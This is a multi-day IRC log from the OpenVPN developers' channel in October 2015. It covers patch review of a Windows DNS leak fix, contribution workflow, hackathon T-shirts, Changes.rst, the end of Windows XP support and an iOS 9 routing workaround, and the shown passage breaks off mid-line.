<@cron2> (I think I just did not understand - and still do not - how the env stuff on the server works, with all the different contexts) 09:24 <@d12fk> ok I think we'll update to the most recent version first and see what happens, before I dive in. thanks for the help 10:06 -!- plai [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 10:06 -!- mode/#openvpn-devel [+o plai] by ChanServ 10:10 -!- Netsplit *.net <-> *.split quits: +krzee, @plaisthos, link0 13:08 <@vpnHelper> RSS Update - gitrepo: openssl: remove usage of OPENSSL_malloc() from show_available_curves <https://github.com/OpenVPN/openvpn/commit/470eb8b6b6a9970a68cb17a185359adffbaeabf5> || Fix memory leak in auth-pam plugin <https://github.com/OpenVPN/openvpn/commit/cfc13b38bc6504b9768e4cc43311807d6b074672> || Generate openvpn-plugin.h for MSVC build <https://github.com/OpenVPN/openvpn/commit/dd8d351dbc92ede6726b7090ed4eceb9b95318c6> 13:14 <@cron2> syzzer: are you around? 13:14 <@vpnHelper> RSS Update - gitrepo: Replace variable length array with malloc <https://github.com/OpenVPN/openvpn/commit/41e4b67a229e774ebc57a882c386e10d80e10e7e> 14:32 <@vpnHelper> RSS Update - tickets: #621: read from TUN/TAP : (code=995) <https://community.openvpn.net/openvpn/ticket/621> 16:18 -!- dazo is now known as dazo_afk 17:54 -!- woodrow [uid13914@gateway/web/irccloud.com/x-vnxhaitbfdmjvcgp] has joined #openvpn-devel 22:18 -!- arrmo [~arrmo@pool-108-19-58-113.dllstx.fios.verizon.net] has joined #openvpn-devel 22:18 -!- arrmo [~arrmo@pool-108-19-58-113.dllstx.fios.verizon.net] has quit [Client Quit] --- Day changed Fri Oct 23 2015 01:38 -!- roentgen [~none@unaffiliated/roentgen] has quit [Ping timeout: 252 seconds] 01:38 -!- roentgen [~none@unaffiliated/roentgen] has joined #openvpn-devel 01:47 <@vpnHelper> RSS Update - gitrepo: polarssl: fix --client-cert-not-required <https://github.com/OpenVPN/openvpn/commit/444a93eab38d117d4f802e95a318d71ea886bcc6> 01:48 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 01:50 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:50 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:08 <@cron2> mattock1: good morning... 02:43 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has quit [Quit: No Ping reply in 180 seconds.] 02:45 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has joined #openvpn-devel 03:09 -!- dazo_afk is now known as dazo 03:55 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Quit: No Ping reply in 180 seconds.] 03:57 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 05:04 -!- s7r_ [~s7r@openvpn/user/s7r] has joined #openvpn-devel 05:11 -!- Netsplit *.net <-> *.split quits: @cron2, +novaflash_away, s7r 06:27 -!- cron2_ [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 06:27 -!- mode/#openvpn-devel [+o cron2_] by ChanServ 07:48 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 07:50 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:50 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 10:42 <@cron2_> .o(is mattock1 here or not?) 11:38 -!- roentgen [~none@unaffiliated/roentgen] has quit [Ping timeout: 240 seconds] 11:42 -!- roentgen [~none@unaffiliated/roentgen] has joined #openvpn-devel 11:55 -!- reators [~holger@port-92-198-130-130.static.qsc.de] has quit [Quit: Leaving.] 16:04 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Remote host closed the connection] 16:19 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 16:21 <@dazo> Okay ... a good reason why UTF-8 is bad ..... https://pbs.twimg.com/media/CSAaO_yWUAAAJVk.png 16:31 -!- arrmo [~arrmo@pool-108-19-58-113.dllstx.fios.verizon.net] has joined #openvpn-devel 16:32 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 268 seconds] 16:35 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 16:40 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 16:46 < floppym> dazo: Why is that bad? 16:48 <@dazo> floppym: using such extended emoticons characters in any code will just be awful considering how UTF-8 handling often is quite broken ... suddenly you don't see thumbs-up, but a square with some mystic crap inside 16:49 <@dazo> I mean, still in 2015 8 bit characters are still an issue .... if we can't manage to make that work, how can we ever make UTF-8 work on such a level 16:50 < floppym> Well, your example is a bit contrived; who would ever symlink /bin/test to some random name? 16:51 < floppym> And it should work fine in any case; UNIX-like systems treat file paths as byte strings. 16:51 < floppym> The OS doesn't care what the bytes are, so long as they are not '/' or '\0'. 16:51 <@dazo> it will probably run fine ... but debugging it on a terminal which doesn't support utf-8 .... that's gonna be fun :) 16:52 <@dazo> or maybe the terminal claims to support utf-8, but does it wrongly ... or lacks the proper fonts .... 16:53 < floppym> These are reasons not to name commands in UTF-8, not reasons that UTF-8 is "bad". 16:53 <@dazo> fair enough! 16:53 <@dazo> its just that some people will come up with bad ideas when given the power ... just because they can 16:56 < floppym> The alternative is to limit people to using ASCII in file names; fine by me, but some foreigners might object to that. 16:58 < floppym> Even that has issues (non-printable control characters). 17:01 <@dazo> for some files UTF-8 may be just fine ... but for system files, it should be in the range of 0x20 to 0x7a (with some exceptions in between) 19:15 -!- dazo is now known as dazo_afk --- Day changed Sat Oct 24 2015 01:45 -!- woodrow [uid13914@gateway/web/irccloud.com/x-vnxhaitbfdmjvcgp] has quit [Quit: Connection closed for inactivity] 02:38 -!- roentgen_ [~none@unaffiliated/roentgen] has joined #openvpn-devel 02:41 -!- roentgen [~none@unaffiliated/roentgen] has quit [Ping timeout: 240 seconds] 03:03 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:03 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:57 -!- roentgen_ is now known as roentgen 04:00 -!- roentgen [~none@unaffiliated/roentgen] has quit [Remote host closed the connection] 04:17 -!- s7r_ is now known as s7r 06:25 -!- roentgen [~none@unaffiliated/roentgen] has joined #openvpn-devel 06:29 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 268 seconds] 10:27 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 255 seconds] 13:54 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 15:55 -!- movrax [movrax@gateway/shell/anapnea.net/x-xmnlmutgoxagtpxz] has quit [Ping timeout: 244 seconds] 16:28 <@plai> syzzer: 2015-10-24 20:47:45 OpenSSL: error:14082174:SSL routines:ssl3_check_cert_and_algorithm:dh key too small 16:28 <@plai> did we break that or that is opensl 1.0.2? 16:30 <@plai> seems openssl 1.0.2d does not like dh <= 512 anymore 23:04 < ValdikSS> Hi guys. Anyone here? I'm porting dns-leak-fix to win32.c. Can I use msvs functions like _T() or should I use something other? --- Day changed Sun Oct 25 2015 01:21 -!- woodrow [uid13914@gateway/web/irccloud.com/x-mvbkphakozeftxlk] has joined #openvpn-devel 02:50 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:50 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 06:33 < ValdikSS> How can I compile OpenVPN using msvs on Windows? 06:34 < ValdikSS> I can't compile it using generic build system 07:06 -!- woodrow [uid13914@gateway/web/irccloud.com/x-mvbkphakozeftxlk] has quit [Quit: Connection closed for inactivity] 08:47 < ValdikSS> Is Windows build always uses unicode or should I include ansi support? 08:56 <@vpnHelper> RSS Update - tickets: #622: AuthFile Ignored by OpenVPN Connect iOS 1.0.5.b117 <https://community.openvpn.net/openvpn/ticket/622> 11:23 < ValdikSS> I can't build OpenVPN for Windows using mingw. I always get 37 kb exe which doesn't work. 11:24 < ValdikSS> It runs but instantly terminates without any output, and it's very lightweight. 11:44 <@mattock1> ValdikSS: did you follow these setup instructions? https://community.openvpn.net/openvpn/wiki/SettingUpGenericBuildsystem 11:44 <@vpnHelper> Title: SettingUpGenericBuildsystem – OpenVPN Community (at community.openvpn.net) 11:48 <@mattock1> the mingw_w64 builds should "just work", provided you setup Ubuntu 14.04 using the provided script 11:48 <@mattock1> I just fixed one issue cron2 found (=libtool was not installed automatically by the script) 11:49 <@mattock1> the msvc thing is probably a much bigger can of worms 12:10 < ValdikSS> mattock1: yes, fixed it 12:11 < ValdikSS> I almost ported dns-leak-fix into openvpn master 12:13 < ValdikSS> aaaaand it works! 12:13 < ValdikSS> I'm using "block-outside-dns", is there any better parameter name for that? 12:14 < ValdikSS> And should it be fatal if it fails? 12:14 < ValdikSS> Or should it be configurable? Or always non-fatal? 12:24 <@mattock1> I have no clue 12:37 <@plai> you can always add ignore-unkown-option block-outside-dns 12:37 <@plai> to make it non fatal on other platforms 12:38 -!- Eagle_Erwin [~Erwin@erwinb.xs4all.nl] has joined #openvpn-devel 12:48 <@cron2_> plai wins this round of "can remember openvpn options" :) 13:28 < ValdikSS> https://github.com/ValdikSS/openvpn-with-patches/commit/831846e13f3650bfce9885f8db9b2413ae9fd4bb 13:29 -!- roentgen [~none@unaffiliated/roentgen] has quit [Remote host closed the connection] 13:31 < ValdikSS> cron2_, mattock1 ping 13:33 <@mattock1> ValdikSS: what's up? 13:36 < ValdikSS> mattock1: take a look at a link 13:47 <@mattock1> well, at a quick glance it looks fairly well isolated, but I can't comment on the code as I don't do C 13:47 <@mattock1> we may want to review the patch in tomorrow community meeting 13:52 <@cron2_> to the list with ti :) 14:23 <@mattock1> the patch is now on the review list: https://community.openvpn.net/openvpn/wiki/Topics-2015-10-26 14:23 <@vpnHelper> Title: Topics-2015-10-26 – OpenVPN Community (at community.openvpn.net) 14:23 <@mattock1> in case it's not reviewed by then 14:27 < ValdikSS> I've force-pushed newest version to the repo and changed the link in the review list 14:39 < ValdikSS> Actually, I like 'block-external-dns' more 14:46 < ValdikSS> https://community.openvpn.net/openvpn/ticket/446 should be closed 14:46 <@vpnHelper> Title: #446 (Incorrect spelling in Russian localization) – OpenVPN Community (at community.openvpn.net) 14:46 < ValdikSS> It's merged 14:47 <@plai> cron2_: I added that option 14:48 <@plai> you can also use setenv opt block-external-dns 14:51 < ValdikSS> https://community.openvpn.net/openvpn/ticket/611 should be closed too 14:51 <@vpnHelper> Title: #611 (VyprVPN violates GPL) – OpenVPN Community (at community.openvpn.net) 15:01 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 15:09 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 15:09 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 15:45 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 268 seconds] 17:04 -!- TxLeafs [~arrmo@pool-108-19-58-113.dllstx.fios.verizon.net] has joined #openvpn-devel 17:04 -!- arrmo [~arrmo@pool-108-19-58-113.dllstx.fios.verizon.net] has quit [Ping timeout: 260 seconds] 18:34 -!- TxLeafs [~arrmo@pool-108-19-58-113.dllstx.fios.verizon.net] has quit [Quit: Leaving] --- Day changed Mon Oct 26 2015 01:55 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:55 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:43 <@cron2_> moirnin 03:28 -!- reators [~holger@2001:1a80:2000:2:609d:ffef:7eb:d2c4] has joined #openvpn-devel 03:39 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 03:39 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:45 < ValdikSS> https://community.openvpn.net/openvpn/ticket/461 and https://community.openvpn.net/openvpn/ticket/545 should be closed 03:45 <@vpnHelper> Title: #461 (Change default sndbuf and rcvbuf values) – OpenVPN Community (at community.openvpn.net) 03:49 <@syzzer> cron2_: I'm around now, still need me? 03:50 <@syzzer> oh, and good morning :) 03:54 <@mattock1> good morning! 04:12 <@cron2_> syzzer: nah, that was a question about the polarssl --client-cert-not-required fix, but I managed to understand the code later on :-) 04:12 <@cron2_> ValdikSS: uh, my trac says I closed #461 7 days ago... :-) 04:18 < ValdikSS> cron2_: oh yeah, sorry 04:24 -!- reators [~holger@2001:1a80:2000:2:609d:ffef:7eb:d2c4] has quit [Quit: Leaving.] 04:24 -!- reators [~holger@2001:1a80:2000:2:609d:ffef:7eb:d2c4] has joined #openvpn-devel 05:00 <@mattock1> let's see if the timezones and times for today's meeting are correct this time :D 05:08 <@cron2_> timezone has changed in DE this weekend 05:10 <@cron2_> ah, but if we stick to 20:00 CET it's all great for me :-) "no-brainer!" 06:05 <@cron2_> hrmph 06:05 <@cron2_> ftp2.secure-computing.net sports an IPv6 address, but is not responding... 06:05 <@cron2_> ecrist: *poke* 06:12 <@mattock1> cron2: yes, hence CET (not CEST) 20:00 06:12 <@mattock1> which translates to UTC 19:00 07:34 -!- roentgen [~none@unaffiliated/roentgen] has joined #openvpn-devel 08:17 <@ecrist> cron2_: hi 08:17 * ecrist looks 08:19 <@ecrist> I'd also like to point out I released EasyRSA 3.0.1 yesterday which mostly just fixes the missed packaging of the required windows utils. 08:23 <@cron2_> actually ftp2 ttotally refuses to talk to me - v6 times out, v4 is connection refused 08:23 <@cron2_> ftp: Can't connect to `2610:150:4002::3:1:21': Operation timed out 08:23 <@cron2_> ftp: Can't connect to `67.21.64.234:21': Connection refused 09:06 -!- patchie [~sdf@185.21.216.147] has joined #openvpn-devel 09:06 -!- patchie [~sdf@185.21.216.147] has left #openvpn-devel [] 09:34 <@ecrist> cron2_: how about now? 09:34 <@ecrist> v6 is likely still broken. 09:39 < lev__> ValdikSS: is your latest DNS leak fix (block-outside-dns) supposed to work if adapter's DNS settings are manually defined 09:40 <@cron2_> v6 is still broken, yes 09:40 <@cron2_> v4 works 09:41 <@cron2_> but it is still interestingly broken, the port references the 201541 tarball, while the server only has 201533 and then 201543... 11:03 <@vpnHelper> RSS Update - tickets: #623: Does not reload CRL files when are defined in CAPath <https://community.openvpn.net/openvpn/ticket/623> 11:07 < ValdikSS> lev__: hrmm, that's an interesting question. It should work in general but it won't be enabled if dhcp-option dns is not set 11:08 < ValdikSS> lev__: is it wrong behaviour? 11:20 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 240 seconds] 13:29 < lev__> ValdikSS: I have 2 adapters, one is ipv6 only ethernet and another one ipv4 only wifi, logs say "filter added" etc but DNS is still leaking. I'll try to find a box with more conventional network setup (and leak problem) and give it a spin there 13:31 < lev__> in basic setup, with single adapter and DHCP I see no leaks in first place, but we do get reports that it sometimes happens 13:56 < ValdikSS> lev__: how many filters it adds? 13:56 < ValdikSS> lev__: and how do you determine that it leaks? Do you execute nslookup? 13:58 < lev__> ValdikSS: I checked with dnsleaktest.com. It adds serveral filters but I don't have access to that box now, could provide more info tomorrow 14:00 <@cron2_> if I had full access to a problematic windows box, I'd check with wireshark, sniffing on the external interfaces while openvpn is up 14:02 < ValdikSS> cron2_: I always do this 14:02 < ValdikSS> Btw I can share virtualbox via vnc if someone needs it 14:06 <@mattock1> ok meeting time 14:06 <@mattock1> so lev, valdikss and cron2 are already here 14:06 <@mattock1> who else? 14:06 <@mattock1> https://community.openvpn.net/openvpn/wiki/Topics-2015-10-26 14:06 <@vpnHelper> Title: Topics-2015-10-26 – OpenVPN Community (at community.openvpn.net) 14:07 * syzzer here too 14:07 * cron2_ is sort-of here, need to finish something first 14:07 <@cron2_> but looks at the channel 14:07 -!- noko [pavel@gate6.zhovner.com] has joined #openvpn-devel 14:07 <@mattock1> hi syzzer! 14:08 <@syzzer> hi :) 14:08 <@mattock1> I emailed James, just in case he's interested in reviewing the DNS leak fix 14:09 <@syzzer> makes sense 14:09 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 14:09 -!- mode/#openvpn-devel [+v janjust] by ChanServ 14:10 <+janjust> g'evening folks 14:10 <@syzzer> hi janjust :) 14:10 < ValdikSS> cześć! 14:11 <@mattock1> hi janjust! 14:11 <@cron2_> h 14:11 <@cron2_> i 14:11 <+janjust> hi syzzer , mattock1 14:11 <@cron2_> argh :) 14:11 <+janjust> and cron2_ 14:11 < lev__> begroeting! 14:11 <+janjust> lol 14:12 <@mattock1> we have so many people today 14:12 <@mattock1> a good day for bikeshedding :) 14:12 <@mattock1> I suggest we start from the top while waiting for cron2 14:12 <@mattock1> #1 Windows team ideas 14:12 <+janjust> the topic of utmost importance is, of course, what to print on the t shirts 14:13 <@mattock1> yes, agreed :P 14:13 <@syzzer> janjust, now you're here let me just hijack you ;) did you find time to look at or test my polarssl counterpart of the --client-cert-verify patch? 14:13 <+janjust> it's been keeping me awake at night for days now ;) 14:13 <@mattock1> janjust: :D 14:13 <+janjust> oops, syzzer , no not yet - I saw your patch but did not look at the code just yet. will apply patch to my git tree later tonight 14:14 <@syzzer> ah, ok, interested to hear your comments :) 14:14 <@syzzer> good, back to the t-shirts then! 14:14 <+janjust> but, for the windows team idea: I like the idea, feel like I should spend time on it , perhaps just as tester, but am afraid that I will not have the time for it that the team deserves 14:14 <@mattock1> well, none of us really do have the time 14:15 <@mattock1> but hopefully some Windows volunteers emerge 14:15 <+janjust> yup 14:15 <+janjust> I'll be team mascotte then ;) 14:15 <+janjust> nah we need a woman for that :P 14:15 * janjust kicks himself for sexist remark #1 14:16 <@mattock1> so in a nutshell the basic approach is: 14:16 <@mattock1> 1. Separate IRC channel, but #openvpn remains the primary support channel 14:16 <@mattock1> 2. Separate forum board 14:16 <@mattock1> 3. Put openvpn-gui to GitHub as a subproject (Heiko suggested this himself) 14:16 <@mattock1> and then we sit back and see if something happens 14:17 <@mattock1> of course I will have to talk about this proposal on forums and #openvpn before making any moves 14:17 <@cron2_> no objections from me 14:17 <@cron2_> it might work, or not, but I'm fairly sure it will not do *harm* 14:17 <+janjust> agreed 14:17 <@mattock1> yeah, my thoughts exactly :) 14:18 <@mattock1> if nobody is opposed, we can probably move on to the real topic of today: T-shirts 14:18 < ValdikSS> openvpn-gui should really be on github and mattock1 already has a repo 14:18 <@mattock1> yeah, I can add the openvpn-gui repo myself 14:18 <@syzzer> that is the easy part, the harder part is, who is going to maintain that repo/ 14:19 <@mattock1> yes 14:19 <+janjust> not me - I haven't finished git 101 yet ;) 14:19 <@syzzer> maybe d12fk + mattock1 makes sense 14:19 <@mattock1> I can merge some pull requests / patches, but if actual code contribution come in, somebody else needs to take a look 14:20 <+janjust> mattock1, +1 14:20 <@cron2_> well, I'll give a look, and might see stupid (obviously stupid) things... 14:21 <@syzzer> ^^ yeah, I can do that too 14:21 <@mattock1> most excellent! 14:21 <@mattock1> and we might even get somebody interested in co-maintaining the project in the long run 14:21 <@mattock1> someone new, you never know 14:22 <@mattock1> a guy did some pretty good job with NSIS in openvpn and openvpn-gui a while back, coming out of nowhere 14:22 <@mattock1> anyways, T-shirts? 14:22 < ValdikSS> We should allow github pull-requests and not to force patches via maillist then 14:22 < lev__> totally agree 14:22 <@mattock1> I tend to agree with that 14:23 <@syzzer> I like the mailinglist actually, but won't object 14:23 <@mattock1> we could do thorough review if the patch in question looks like it needs one 14:24 <@mattock1> many of the patches are language fixes and such 14:24 < ValdikSS> I don't like malilists. I'm not against it, but it's not really convenient for 2015. 14:24 <+janjust> #t-shirts: just read the idea of putting the list of OpenVPN hackathons on the back : great idea! 14:25 <@cron2_> +1 14:25 <+janjust> #mailinglists: I'm old fashioned so I prefer mailinglists. And come guys, we're here using IRC - that's sooooo 80s 14:25 <@mattock1> so many hooks for starting a bikeshedding discussion here :D 14:26 <@cron2_> valdikss: what the windows team does is up to the windows team, but dazo and I are very mailing list centric workers, so everything else is making our workflow much more complex 14:26 <@mattock1> I think the mailing lists are fine, once you've subscribed 14:26 <@cron2_> like, a github pull request is really "I have to download the patch to my local machine, test it, merge, it, push it out again" as github is not the primary repository but only pushed into 14:26 <@mattock1> they're a bit of a hurdle for "I just want to contribute this one small patch" 14:28 <@mattock1> but having per-subproject contribution rules is fine 14:28 <@syzzer> sure 14:28 <@mattock1> I think OpenVPN (core) needs more strict rules for what goes in and how 14:28 <@mattock1> than most of the other subprojects 14:29 <@syzzer> so, matttock will create the repo, and grant d12fk superpowers? 14:29 <@mattock1> sounds good to me 14:29 <@mattock1> once d12fk tells me his GitHub account name 14:29 <@mattock1> I can probably guess it, but better safe than sorry 14:31 <@mattock1> so back to the T-shirts 14:31 <@mattock1> is the band T-shirt style ok? 14:31 <@syzzer> I like it 14:32 <@syzzer> even though I missed the two Brussels meetings 14:32 <@cron2_> I like it too :) 14:32 <@mattock1> logo on the front and the "tour list" on the back? 14:33 <+janjust> perhaps make the list go back to 1966 ;) 14:33 <@syzzer> just make sure to put the extra e in Muenchen instead of Brussels ;) 14:33 <+janjust> but yeah I like the tour list idea. Muenchen? Can't we add an umlaut? or do it fully in english? 14:34 <@syzzer> hahaa, the bikeshedding has started! but yes, all in English is probably better :) I just notice the extra e in Bruessels 14:35 <@mattock1> (james is trying to join, but he has nickserv identify issues) 14:35 <@cron2_> English is oK for me, but then "Munich" and "Brussels" :) 14:35 <@mattock1> fully english, no mutants please :P 14:36 <@mattock1> and the idea of converting umlauts in ae, oe and ue is a horrible convention 14:37 <@mattock1> we can order the T-shirts before the next meetup 14:37 <@mattock1> so that we know the place for 2016 14:38 <@syzzer> and you don't have to send them ;) 14:38 <@mattock1> yes, although there are probably a few guys who deserve a shirt and can't make it 14:38 <+janjust> errr, have we decided on the place for 2016? I'm fine with Delft again, but I just wasn't aware that we had decided that 14:38 <@mattock1> no, no decisions 14:38 < lev__> Helsinki ? 14:38 <@mattock1> that is one option 14:39 <@mattock1> would be quite convenient for me and lev 14:39 <@cron2_> lev__: so you have the OK from your boss? :) 14:39 <@syzzer> lev__: you might know this by heart: what will a 2.3 client do when it gets a P_DATA_V2 packet from a server? 14:39 <@cron2_> MUC->Helsinki works out 14:39 <@cron2_> syzzer: I think it should work fine 14:39 < lev__> not yet, but I see no reason to get NACK 14:39 <@cron2_> syzzer: 0e1fd33247460bdfa65d306e8bcdd3cbafed8b73 14:40 <@mattock1> good, openvpn-speak spreading into real life 14:40 <@cron2_> (if more recent than 2.3.6 or so, older versions will not advertise IV_PROTO=2) 14:40 <@cron2_> ((and "not understand the packet, and throw a tantrum", or so)) 14:41 <@syzzer> ah, thanks. Looks like they will process it just fine indeed :) 14:41 <@cron2_> Acked-by: Steffan Karger <steffan.karger@fox-it.com> 14:41 <@cron2_> :) 14:42 <@syzzer> I was wondering whether they would just be able to send or could also receive 14:42 <@syzzer> (thinking about what to do with all the mixed modes wrt AEAD) 14:43 <@cron2_> well, they won't support these bits... only peer-id, no AEAD, no COMP_V2 14:43 <@syzzer> re location: Helsinki works for me too, and if it's not possible, I'm happy to receive you once more in Delft 14:44 <@cron2_> jftr, another year in Munich would be fine for me ("much easier on the traveling" :) ) and I think Heiko also offered to host 14:44 <@cron2_> Delft was nice, so I'm fine going there again... many optiosn 14:44 <@mattock1> yeah, heiko did that 14:44 <@syzzer> no, but for AEAD mode it might make sense to make the server always send V2 packets if the client supports it 14:44 <@mattock1> we can throw the dice if we can't decide 14:44 <@mattock1> plus we don't have to decide _now_ 14:44 <@mattock1> :) 14:44 <+janjust> exactly 14:45 < lev__> I try to get an ACK before spring 2016 14:46 <@mattock1> sounds good 14:46 < lev__> it is still 2015, isn't it? 14:46 <@syzzer> I hope so... 14:47 <+janjust> we just switched to winter time so it's 2016 :P 14:47 <@cron2_> "date" agrees with me 14:47 <@cron2_> 2015! 14:48 <@mattock1> yep, in /bin/date we trust 14:48 <@mattock1> shall we move on to topic #3, "Changes.rst"? 14:49 <@cron2_> ok 14:49 <@syzzer> it's in, right? 14:49 <@cron2_> I think the question is "are we fine with what we have for 2.4 now, and what should be in changes.rst for 2.3" 14:50 <@mattock1> I have not actually had a look, but will do now 14:51 <@syzzer> https://github.com/OpenVPN/openvpn/blob/master/Changes.rst 14:51 <@vpnHelper> Title: openvpn/Changes.rst at master · OpenVPN/openvpn · GitHub (at github.com) 14:52 <@syzzer> it would be nice to maintain one for 2.3 too, but that would also mean synchronising between 2.3 and master I think? 14:52 <@cron2_> yeah, that puts a bit of burden on dazo and me 14:53 <@syzzer> yes 14:53 <@cron2_> "stuff that goes into 2.3 *and* has user-visible effects needs to be hand-fitted to Changes.rst" 14:53 <@cron2_> (because a patch wont apply) 14:54 <@mattock1> yep, it would get nasty 14:54 <@mattock1> another reason to release 2.4 a.s.a.p. so that we can ditch 2.3 :) 14:54 <@cron2_> but I'm fine to do that - part of the release process ("ChangeLog, Changes.rst, version.m4, tag, ship") 14:54 <@cron2_> mattock1: it will be the same for 2.5/master vs. 2.4 after that :) 14:54 <@mattock1> oh yes, so there's no pot of gold at the end of the 2.4 rainbow 14:55 <@cron2_> a small one :) 14:55 <@mattock1> :) 14:55 <@mattock1> ok so are we going to make a Changes.rst for 2.3? 14:55 <@cron2_> as I'm a bit busy these days I would welcome a Changes.rst for 2.3 based on the actual changes in there 14:56 <@cron2_> yes! 14:56 <@cron2_> I'm happy to maintain it, just the initial "go through changelog and find report-worthy changes" would benefit from someone else getting this started 14:56 <@mattock1> hmm, I believe the original 2.3 release announcement(s) might have a crude list we could start from 14:57 <@mattock1> this is a good resource, very little noise: http://news.gmane.org/gmane.network.openvpn.announce 14:57 <@vpnHelper> Title: Gmane Loom (at news.gmane.org) 14:57 -!- methamp [mh@greyhat.pw] has joined #openvpn-devel 14:57 <@mattock1> I can compile a proposal list 14:57 <@syzzer> just send a patch ;) 14:57 <@cron2_> I was about to say that :) 14:58 <@mattock1> well, I can do that 14:58 <@syzzer> gets you one more commit in the repo :p 14:58 <@syzzer> other than that, I think the format is fine like this 14:58 <@mattock1> then I can brag about it in a bar 14:58 <@mattock1> sounds good 14:58 <@cron2_> :) 14:59 <@mattock1> so next topic: patch review? 14:59 < ValdikSS> By the way, there is another serious topic to discuss: should OpenVPN drop Windows XP support? 14:59 <@cron2_> we already did 14:59 < ValdikSS> Oh 14:59 <@cron2_> 2.4 will no longer run on XP 15:00 <@cron2_> 2.3 will continue to support XP as long as we can 15:00 <@cron2_> (the problem is that some of the IPv6 API calls - GetIpRoute2() and friends - are not supported on XP, and working around that is more painful than we could be bothered, for an end-of-life os) 15:00 <@mattock1> =until supporting Windows XP would require significant work on our part 15:02 < ValdikSS> Should we review my patch then? 15:02 <@cron2_> is it on the list? 15:03 < ValdikSS> on the topic list but not on the maillist 15:03 <@mattock1> it was linked to this channel yesterday I believe 15:03 <@mattock1> https://github.com/ValdikSS/openvpn-with-patches/commit/3bd4d503d21aa34636e4f97b3e32ae0acca407f0 15:04 < ValdikSS> Currently it won't work if server doesn't push dhcp-option DNS or user doesn't set it in the config. As lev__ mentioned, user can set DNS on the interface statically and I'm in doubt how should OpenVPN handle this — ignore block-outside-dns as it does right now, block outside dns always even without DNS or check it somehow. 15:04 <@cron2_> I think it should do what it's told: "block DNS if block-outside-dns is requested" 15:05 <@cron2_> meh, if this is vista and up, it can't go into 2.3 15:06 < ValdikSS> Windows XP doesn't support WFP 15:06 <+janjust> the patch only really applies to 8.1 and higher anyway, right? 15:06 < ValdikSS> Yes. 15:07 <@mattock1> yeah 15:07 < ValdikSS> More to 10, as in 8.1 you can disable Smart DNS. 15:07 <@cron2_> but that implies "building two different installers for 2.3, at least" 15:08 < methamp> Maybe I should've posted this to -devel and not the main channel. Is OpenVPN Connect still broken on iOS 9? 15:08 <@mattock1> no more 2.3 installers please... there are already NDIS 5 and NDIS 6 tap-driver versions 15:08 < methamp> I'm on what I believe is the latest version and while the VPN looks like it's connected, no traffic is actually routed through it. Been flipping through forum threads all day. 15:08 < ValdikSS> methamp: I believe it is. 15:08 <@cron2_> methamp: just look into trac before spamming an ongoing discussion 15:08 <@mattock1> methamp: we're having a meeting, but valdikss is probably right 15:08 < ValdikSS> methamp: https://community.openvpn.net/openvpn/ticket/614 here's a workaround 15:08 <@vpnHelper> Title: #614 (Connect on iOS 9: IPv4 routing doesn't work with dual-stack) – OpenVPN Community (at community.openvpn.net) 15:09 < ValdikSS> methamp: just push 2 routes instead of redirect-gateway. 15:10 <@cron2_> ValdikSS: well, the patch on the openvpn side of things looks reasonable. win32.h definitely needs explanations what these magic DEFINE_GUID things are good for 15:10 <@cron2_> I wonder why you're not passing the adapter index right away, and call win_adapter_index_to_luid() inside... 15:11 < ValdikSS> cron2_: actually, I'm not sure if this is only my mingw which doesn't include that GUIDs or just mingw doesn't have them at all. 15:11 < methamp> If I understand this correctly, it's an OpenVPN server fix? 15:11 < methamp> Meaning, as an end-user of someone else's VPN I can do nothing? 15:11 <@cron2_> methamp: complain to the server operator and point to this trac ticket 15:12 < methamp> Oh, jesus.... I might as well look for an alternative OpenVPN client if one exists. My provider will not fix this anytime soon. 15:12 < ValdikSS> cron2_: hrmm, you're right, I should move luid to the existing function. 15:12 < methamp> And I just left a provider that had their own custom client :-x 15:12 < ValdikSS> methamp: add to your config: route-nopull route 0.0.0.0/1 route 128.0.0.0/1 15:13 <@cron2_> mattock1: since methamp has so politely interrupted the conversation anyway - have you heard anything from James about #614? He should be argueing with Apple about this... 15:14 < ValdikSS> cron2_: just FYI, replacing redirect-gateway with routes works perfectly fine with dual-stack. 15:15 <+janjust> ValdikSS, those 2 routes just mean "redirect-gateway def1" right? 15:15 <@mattock1> cron2: I only know that Aplle should fix it, and that we have no clue when / if that happens 15:15 < methamp> cron2_: I apologize for chatting here as a basic user -- unfortunately, the main channel seemed fairly dead and this isn't a firewall issue. 15:15 < methamp> Thank you for your time. 15:15 < 